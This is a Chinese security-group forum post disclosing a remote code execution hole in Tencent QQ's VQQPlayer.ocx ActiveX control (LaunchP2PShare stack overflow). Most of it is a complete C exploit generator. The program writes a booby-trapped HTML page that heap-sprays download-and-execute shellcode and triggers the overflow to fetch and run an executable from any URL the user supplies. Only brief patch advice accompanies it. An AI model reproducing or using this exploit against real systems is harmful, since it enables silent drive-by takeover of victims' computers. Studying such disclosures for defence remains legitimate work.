QQ漏洞(远程可执行)
<p>文章作者:axis(axis_at_ph4nt0m.org)<br />[url]http://www.ph4nt0m.org[/url]<br /><br /><br />摘要:<br /><br />QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。DSW Avert在200612.31发现了QQ的几个0day漏洞,并通知了QQ官方。QQ在2007.1.1进行了升级。事实上,在此之前,幻影旅团(ph4nt0m)的axis就已经发现了这些漏洞,出于一些原因未曾公布,现在漏洞被公开了,所以将细节和可利用的POC公布如下:<br />QQ的这几个漏洞,均是由于Activex Control造成的,相关dll分别是:VQQPLAYER.OCX,VQQsdl.dll,V2MailActiveX.ocx<br /><br />其中有一个成功利用后,将可远程控制用户电脑,因为是activex的,所以只需要用户安装过QQ,甚至不需要其登录,就可以成功利用。<br /><br />另外几个漏洞分别是拒绝服务漏洞,不可执行,在此不再赘述。<br /><br /><br /><br />影响版本:<br /><br />Tencent QQ2006正式版及之前所有版本。(未升级2007.1.1补丁)<br /><br /><br /><br />细节:<br /><br />在VQQPLAYER.OCX中,由于程序员的粗心,存在一个栈溢出漏洞,在函数返回时,可以控制EIP。<br />漏洞存在的Method是LaunchP2PShare, <br />ClassId是{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}<br />其原型是:<br />[id(0x00000030)]<br />VARIANT_BOOL LaunchP2PShare(<br />BSTR szExeName, <br />long nDuration);<br /><br />第一个参数没有进行长度检查,为超长字符串时,将造成一个栈溢出。<br /><br /><br /><br /><br /><br />幻影旅团将对此发布一个POC代码,请勿将此作为非法用途<br /><br /><br />POC:<br /><br />----------------------------------------------------------------------------------------<br />/*<br />*-----------------------------------------------------------------------<br />*<br />* Tencent QQ VQQPlayer.ocx (all version) 0day <br />* <br />*<br />* Author: axis <br />* Date: 2006-12-27<br />* Mail: axis@ph4nt0m.org<br />*<br />* Bug discovered by axis@ph4nt0m.org<br />* :<br />* :<br />* :<br />* :<br />* :Usage: filename <exe_URL> [htmlfile]<br />* : filename.exe [url]http://site.com/file.exe[/url] localhtml.htm <br />*<br />* 在VQQPlayer.ocx中的LaunchP2PShare函数的第一个参数没有做边界检查,超长将在MFC42.dll覆盖到eip和seh<br />* QQ是vc6编译的,所以可以用覆盖返回地址的方法,不过要求覆盖eip和以前的是可见字符,要求比较苛刻<br />* 而且覆盖返回地址的方法,和QQ安装路径有关,因为是这样覆盖起 c:\program files\tencent\qq\AAAAA....<br />* 覆盖seh方法比较通用,使用heap spray的方法,跳到0x0c0c0c0c中去执行shellcode,但是会关闭ie。<br />*<br />* <br />* <br />*<br /><br />04534E5F 55 PUSH EBP<br />04534E60 8BEC MOV EBP,ESP<br />04534E62 81EC 60060000 SUB ESP,660<br />04534E68 53 PUSH EBX<br />04534E69 33DB XOR EBX,EBX<br />04534E6B 395D 08 CMP DWORD PTR SS:[EBP+8],EBX<br />04534E6E 56 PUSH ESI<br />04534E6F 57 PUSH EDI<br />04534E70 8BF1 MOV ESI,ECX<br />04534E72 75 11 JNZ SHORT VQQPLA~1.04534E85<br />04534E74 C786 8C040000 1>MOV DWORD PTR DS:[ESI+48C],12<br />04534E7E 33C0 XOR EAX,EAX<br />04534E80 E9 42010000 JMP VQQPLA~1.04534FC7<br />04534E85 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]<br />04534E88 3BC3 CMP EAX,EBX<br />04534E8A 8945 0C MOV DWORD PTR SS:[EBP+C],EAX<br />04534E8D 7F 07 JG SHORT VQQPLA~1.04534E96<br />04534E8F C745 0C 0A00000>MOV DWORD PTR SS:[EBP+C],0A<br />04534E96 BF 04010000 MOV EDI,104<br />04534E9B 8D85 A0FDFFFF LEA EAX,DWORD PTR SS:[EBP-260]<br />04534EA1 57 PUSH EDI<br />04534EA2 53 PUSH EBX<br />04534EA3 50 PUSH EAX<br />04534EA4 E8 437F0000 CALL <JMP.&MSVCRT.memset><br />04534EA9 57 PUSH EDI<br />04534EAA 8D85 A4FEFFFF LEA EAX,DWORD PTR SS:[EBP-15C]<br />04534EB0 53 PUSH EBX<br />04534EB1 50 PUSH EAX<br />04534EB2 E8 357F0000 CALL <JMP.&MSVCRT.memset><br />04534EB7 83C4 18 ADD ESP,18<br />04534EBA 897D FC MOV DWORD PTR SS:[EBP-4],EDI<br />04534EBD E8 6E780000 CALL <JMP.&MFC42.#1168_?AfxGetModuleStat><br />04534EC2 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]<br />04534EC5 8B78 6C MOV EDI,DWORD PTR DS:[EAX+6C]<br />04534EC8 8D85 A4FEFFFF LEA EAX,DWORD PTR SS:[EBP-15C]<br />04534ECE 57 PUSH EDI<br />04534ECF 50 PUSH EAX<br />04534ED0 E8 C3250000 CALL VQQPLA~1.04537498<br />04534ED5 FF75 08 PUSH DWORD PTR SS:[EBP+8]<br />04534ED8 8D85 A4FEFFFF LEA EAX,DWORD PTR SS:[EBP-15C]<br />04534EDE 50 PUSH EAX<br />04534EDF E8 027F0000 CALL <JMP.&MSVCRT.strcat> ; 溢出<br /><br /><br />[ebp-15c]处是QQ安装目录, [ebp+8]处是传递的第一个参数<br /><br /><br />shellcode使用 add esp, 4dch<br />pop ebp<br />retn 24h<br />安全退出返回到上层函数 mshtml.dll里<br /><br /><br /><br /><br /><br />* <br />*------------------------------------------------------------------------<br />*/<br /><br />#include <stdio.h><br />#include <stdlib.h><br />#include <string.h><br /><br />FILE *fp = NULL;<br />char *file = "fuck_exp1.html";<br />char *url = NULL;<br /><br /><br />//Download Shellcode by swan@0x557 bypass防火墙<br />// 经axis@ph4n0m加入了恢复栈平衡,不挂ie<br />unsigned char sc[] = <br />"\x60\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x70"<br />"\x08\x81\xec\x00\x04\x00\x00\x8b\xec\x56\x68\x8e\x4e\x0e\xec\xe8"<br />"\xff\x00\x00\x00\x89\x45\x04\x56\x68\x98\xfe\x8a\x0e\xe8\xf1\x00"<br />"\x00\x00\x89\x45\x08\x56\x68\x25\xb0\xff\xc2\xe8\xe3\x00\x00\x00"<br />"\x89\x45\x0c\x56\x68\xef\xce\xe0\x60\xe8\xd5\x00\x00\x00\x89\x45"<br />"\x10\x56\x68\xc1\x79\xe5\xb8\xe8\xc7\x00\x00\x00\x89\x45\x14\x40"<br />"\x80\x38\xc3\x75\xfa\x89\x45\x18\xe9\x08\x01\x00\x00\x5e\x89\x75"<br />"\x24\x8b\x45\x04\x6a\x01\x59\x8b\x55\x18\x56\xe8\x8c\x00\x00\x00"<br />"\x50\x68\x36\x1a\x2f\x70\xe8\x98\x00\x00\x00\x89\x45\x1c\x8b\xc5"<br />"\x83\xc0\x50\x89\x45\x20\x68\xff\x00\x00\x00\x50\x8b\x45\x14\x6a"<br />"\x02\x59\x8b\x55\x18\xe8\x62\x00\x00\x00\x03\x45\x20\xc7\x00\x5c"<br />"\x7e\x2e\x65\xc7\x40\x04\x78\x65\x00\x00\xff\x75\x20\x8b\x45\x0c"<br />"\x6a\x01\x59\x8b\x55\x18\xe8\x41\x00\x00\x00\x6a\x07\x58\x03\x45"<br />"\x24\x33\xdb\x53\x53\xff\x75\x20\x50\x53\x8b\x45\x1c\x6a\x05\x59"<br />"\x8b\x55\x18\xe8\x24\x00\x00\x00\x6a\x00\xff\x75\x20\x8b\x45\x08"<br />"\x6a\x02\x59\x8b\x55\x18\xe8\x11\x00\x00\x00\x81\xc4\x00\x04\x00"<br />"\x00\x61\x81\xc4\xdc\x04\x00\x00\x5d\xc2\x24\x00\x41\x5b\x52\x03"<br />"\xe1\x03\xe1\x03\xe1\x03\xe1\x83\xec\x04\x5a\x53\x8b\xda\xe2\xf7"<br />"\x52\xff\xe0\x55\x8b\xec\x8b\x7d\x08\x8b\x5d\x0c\x56\x8b\x73\x3c"<br />"\x8b\x74\x1e\x78\x03\xf3\x56\x8b\x76\x20\x03\xf3\x33\xc9\x49\x41"<br />"\xad\x03\xc3\x56\x33\xf6\x0f\xbe\x10\x3a\xf2\x74\x08\xc1\xce\x0d"<br />"\x03\xf2\x40\xeb\xf1\x3b\xfe\x5e\x75\xe5\x5a\x8b\xeb\x8b\x5a\x24"<br />"\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5"<br />"\x5e\x5d\xc2\x08\x00\xe8\xf3\xfe\xff\xff\x55\x52\x4c\x4d\x4f\x4e"<br />"\x00";<br /><br />char * header =<br />"<!-- axis' exploit! -->\n\n"<br />"<html>\n"<br />"<head>\n"<br />"<script language=\"javascript\">\n"<br />"\tvar heapSprayToAddress = 0x0c010101;\n"<br />"\tvar shellcode = unescape(\"%u9090\"+\"%u9090\"+ \n";<br /><br /><br /><br /><br />char * footer =<br />"\n"<br />"var heapBlockSize = 0x100000;\n" //如果太小了,会造成时间上来不及分配,导致溢出失败<br />"var payLoadSize = shellcode.length * 2;\n"<br />"var spraySlideSize = heapBlockSize - (payLoadSize+0x38);\n"<br />"var spraySlide = unescape(\"%u9090%u9090\");\n"<br />"spraySlide = getSpraySlide(spraySlide,spraySlideSize);\n"<br />"heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;\n"<br />"memory = new Array();\n\n"<br />"for (i=0;i<heapBlocks;i++)\n{\n"<br />"\t\tmemory[i] = spraySlide + shellcode;\n}\n"<br /><br />"function getSpraySlide(spraySlide, spraySlideSize)\n{\n\t"<br />"while (spraySlide.length*2<spraySlideSize)\n\t"<br />"{\n\t\tspraySlide += spraySlide;\n\t}\n"<br />"\tspraySlide = spraySlide.substring(0,spraySlideSize/2);\n\treturn spraySlide;\n}\n\n"<br />"</script>\n";<br /><br /><br /><br />char * trigger =<br />"\n<script>\n"<br />"function AxisFun()\n"<br />"{\n"<br />"\tevil.LaunchP2PShare(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\", 10000);\n"<br /><br />"\n}\n"<br /><br />"</script>\n"<br />"</head>\n"<br />"<OBJECT ID=\"evil\" CLASSID=\"CLSID:{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}\"></OBJECT>\n"<br /><br />"<script>java script:AxisFun();</script>\n"<br />"</html>\n";<br /><br /><br />// print unicode shellcode<br />void PrintPayLoad(char *lpBuff, int buffsize)<br />{<br />int i;<br />for(i=0;i<buffsize;i+=2)<br />{<br />if((i%16)==0)<br />{<br />if(i!=0)<br />{<br />printf("\"\n\"");<br />fprintf(fp, "%s", "\" +\n\"");<br />}<br />else<br />{<br />printf("\"");<br />fprintf(fp, "%s", "\"");<br />}<br />}<br /><br />printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);<br /><br />fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);<br />}<br /><br /><br />//把shellcode打印在header后面,然后用 " ) " 闭合<br />printf("\";\n");<br />fprintf(fp, "%s", "\");\n"); <br /><br /><br />fflush(fp);<br />}<br /><br /><br /><br /><br />void main(int argc, char **argv)<br />{<br />unsigned char buf[1024] = {0};<br /><br />int sc_len = 0;<br /><br /><br />if (argc < 2)<br />{<br />printf("Tencent QQ VQQPlayer.ocx (all version) 0day!\n");<br />printf("Bug Found by axis@ph4nt0m\n");<br />printf("Date: 2006-12-27\n");<br />printf("\r\nUsage: %s <URL> [Local htmlfile]\r\n\n", argv[0]);<br />exit(1);<br />}<br /><br />url = argv[1];<br /><br /><br />if( (!strstr(url, "[url]http://"[/url]) && !strstr(url, "[url]ftp://"[/url])) || strlen(url) < 10)<br />{<br />printf("[-] Invalid url. Must start with 'http://','ftp://'\n");<br />return; <br />}<br /><br />printf("[+] download url:%s\n", url);<br /><br />if(argc >=3) file = argv[2];<br />printf("[+] exploit file:%s\n", file);<br /><br />fp = fopen(file, "w");<br />if(!fp)<br />{<br />printf("[-] Open file error!\n");<br />return;<br />} <br /><br /><br />//build evil html file<br />fprintf(fp, "%s", header);<br />fflush(fp);<br /><br />memset(buf, 0, sizeof(buf));<br />sc_len = sizeof(sc)-1;<br />memcpy(buf, sc, sc_len);<br />memcpy(buf+sc_len, url, strlen(url));<br /><br />sc_len += strlen(url)+1;<br />PrintPayLoad((char *)buf, sc_len);<br /><br />fprintf(fp, "%s", footer);<br />fflush(fp); <br /><br />fprintf(fp, "%s", trigger);<br />fflush(fp); <br /><br />printf("[+] exploit write to %s success!\n", file);<br />}<br /><br /><br /><br />----------------------------------------------------------------------------------------<br /><br /><br />建议:<br /><br />禁止ie执行activex<br /><br /><br />厂商补丁:<br />目前厂商已经在2007.1.1日发布了升级补丁,请用户自行升级QQ:<br /><br />[url]http://www.qq.com[/url]<br /><br /><br /><br />关于Ph4nt0m:<br />Ph4nt0m是国内的一个安全组织,由一群来自五湖四海的朋友,因为共同热爱网络安全而走到一起来。<br />欢迎访问我们的网站[url]http://www.ph4nt0m.org[/url]<br /><br /><br /><br />--EOF--</p> <img height="16" src="images/attach/rar.gif" width="16" border="0" />附件: <a href="http://www.ph4nt0m.org/bbs/attachment.php?s=&postid=87380">[url]http://www.ph4nt0m.org/bbs/attachment.php?s=&postid=87380[/url]</a><br />页:
[1]